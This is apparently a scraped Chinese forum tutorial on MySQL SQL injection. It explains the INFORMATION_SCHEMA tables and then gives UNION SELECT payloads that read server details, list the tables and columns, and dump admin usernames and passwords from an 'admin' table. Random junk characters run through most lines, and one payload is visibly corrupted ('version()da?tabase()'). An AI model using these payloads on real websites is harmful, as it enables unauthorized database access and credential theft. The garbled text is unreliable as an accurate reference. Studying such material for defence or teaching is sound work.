本文介绍MYSQL盲注的一些语句和方法7 z4 l: f+ m- u
% |% l+ K9 T. S O! n( ^学习盲注前先了解下 IFORMATION_SCHEMA 库
( r! L9 f' B/ D. s
8 v7 {8 x* }. F# ~0 `4 iMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
+ G5 n, B% a0 c, k# R存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
6 q: Y1 E; s: U- s7 x1.得到所有数据库名:& B. {4 C+ l- c/ Z( D* S
|SCHEMATA ->存储数据库名的表# ~9 i0 }; ]4 o8 l) K+ {, z
|---字段:SCHEMA_NAME ->数据库名称
( f) a6 _* e- s+ @7 @% _
& g" |1 ^5 e! H: i1 H- ~|TABLES ->存储表名
7 T5 J) k; J" m( o; V0 V% k9 H|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
' `2 ~) A# c2 }( H& r: n|---字段:TABLE_NAME ->存储表的表名$ z8 t4 X2 I2 z" w0 b. t# ?: O( F
+ H. ?( x$ d3 N" z
|COLUMNS ->存储的字段名表
4 v" i9 F/ l& X; e* z|---字段:TABLE_SCHEMA ->该字段所属数据库名
) ^$ H$ `- c2 b" f8 M|---字段:TABLE_NAME ->存储所属表的名称/ Y; L# x% k& ? F, g
) P3 a) F7 m; G8 m
|---字段:COLUMN_NAME ->该字段的名称# P7 s* k6 a' ]6 @" b+ l
. p% S. V- R& M9 h: r( q! Y" } 9 R& @$ e8 Y2 W$ D6 [/ a# ^
" j. ?% p$ E" \8 ~' e2 E
###########################################################################& @0 ^/ ]; o& B: L9 Q5 k; R
+ |5 s q4 |( [5 O- B! D# E! V8 u. t0x001 获取系统信息:+ t* s' ?! E) K% s$ y
/ N0 @! O% E+ u" M! A( p
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*: g0 |8 h# ]7 n% Z3 j( X
`' K% M$ `- j# P- S8 q! W
/*+ L V: `5 T1 B" D7 M P" C* O, G
; Q, j6 l5 @ ~6 t@@global.version_compile_os 获取系统版本8 E" ^: s- m3 I* A+ B$ Q. g* G* J
1 y B1 q# h# N0 r. }9 E; b@@datadir 数据库路径
3 s8 R: x+ d" O& `; k7 @database() 当前数据库名称
2 T- B7 E( S X0 ]/ a6 W- E* Z0 o, z0x3c62723e 换行HEX值
; M4 H1 C; U7 g n5 A
8 F5 _5 l5 @, d2 z7 s*/$ m2 r( ~+ Z, G, g4 n4 f
! l) O( T G8 N& y
6 p0 g! m6 ?& p$ A
, D2 G, m+ ~) O* e######################################################################
- a0 W% L6 ^& @" l
9 a* A6 `4 U0 V+ ]0 O0x002 获取表名
! u1 a7 ] o0 M! T# Y$ V/ `; {& n
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
) i$ P% | P1 N6 M7 a9 j7 R3 m7 p, R
% O! A/ }5 Y0 v& I, D. c5 @% h! F
- \$ R/ C3 w6 A7 u% J0 L3 {/ U/* I, A- i$ i" a2 m ~
. \# a9 ~; T8 t' P: C0 x0x67617264656e 为当前数据库名7 ^+ r4 r8 I" s# E# F) y8 [3 H! T
! s- I, [* R q* }" [6 S
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
6 l) `7 G* @ N2 s( k Y9 h/ Q* I* g7 O7 ^5 e& J
*/
9 w' `' C& m6 A5 Z" ^& z4 C. j& B! r* l# b# g
######################################################################& h, R4 q |$ j, W+ u
) s* b+ ~" V5 ?, p# W2 G4 m
) k% \1 }# n( c4 q0 {* C% s1 B' O J" ~
0x003 获取字段
& g4 a$ _5 V# t6 J
+ a* Y5 v6 p7 r& H4 _: Uunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
4 g4 }5 ?2 s& ^7 p! h/ S% B8 {' v& y6 l
/*3 M( ~" g1 k; {, a# Q' F }" {
j, M, F; C0 G* p. K; a ngroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
* \- }7 \, N4 S5 a/ ^
6 x6 F$ |& U; F' H0x61646d696e ->选择一个表$ W) v& j$ h$ e) t" E/ n( {! P/ Y
" x3 |3 a/ [; z6 T0 Q1 K0x67617264656e ->数据库名
3 B: u5 Q/ U2 |9 ?; _' f, y2 U$ q. \& L' N4 C
*/2 M6 |4 ]9 @& v/ i% L: A
8 H, z! M' S: n5 u" r
#####################################################################" g% V$ K$ j3 K; D
* O0 Y ^* z6 D% X S2 e) m+ {
' k6 Q$ b i0 P& E0 f; f) e3 k Z4 R
0x004 获取数据+ s) Z$ l' h2 h/ Z6 S% {$ V
4 U; D3 [' r$ y! wunion select 1,2,3
# D* _0 e) Y7 k; |7 h,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
9 ~# V1 n3 }' b% _! G' \# n1 A0 x4 k3 Q+ J; G% B: e* [) {5 c
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
. o% D6 Q* K0 K# \8 }: A* |
- e6 J: y+ u& u$ n- b; }% j; A7 f 1 P: j% X4 S; D0 e& b
$ d" y# Y; O/ H1 z7 [6 a/*$ Y& Q- ^ F% S1 \* v( l3 d/ O0 G
$ s" t* h7 m" ^$ B4 B" b8 f F9 X0x3c62723e 换行符号HEX编码
( e! Q$ T$ A$ H; e1 e+ m, L0 r% ~+ D4 U
group_concat 同时获得该字段所有数据
+ S+ G0 L+ f7 j$ {) ?& `$ Z/ @+ O% l* M0 G/ p# n/ a
*/
' v; k: J1 J9 @5 t1 R& B$ |( [3 T6 @* n% v3 a9 K1 X
|